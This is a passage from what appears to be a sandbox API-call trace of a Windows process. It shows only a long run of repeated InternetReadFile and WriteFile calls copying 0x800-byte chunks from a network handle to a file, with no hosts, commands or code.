lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.188] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.188] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.188] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.189] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.189] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.189] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.189] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.190] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.190] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.190] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.190] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.191] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.191] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.191] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.191] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.191] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.191] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.192] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.203] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.204] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.204] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.204] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.204] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.204] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.204] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.205] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.205] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.205] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.205] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.205] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.211] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.211] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.211] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.212] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.212] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.212] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.213] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.213] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.213] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.213] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.213] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.213] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.213] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.214] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.214] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.214] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.214] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.214] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.214] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.214] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.214] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.214] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.215] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.215] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.215] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.215] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.215] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.216] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.216] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.216] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.216] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.216] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.217] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.217] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.217] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.218] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.218] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.218] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.218] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.218] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.218] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.218] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.219] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.219] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | 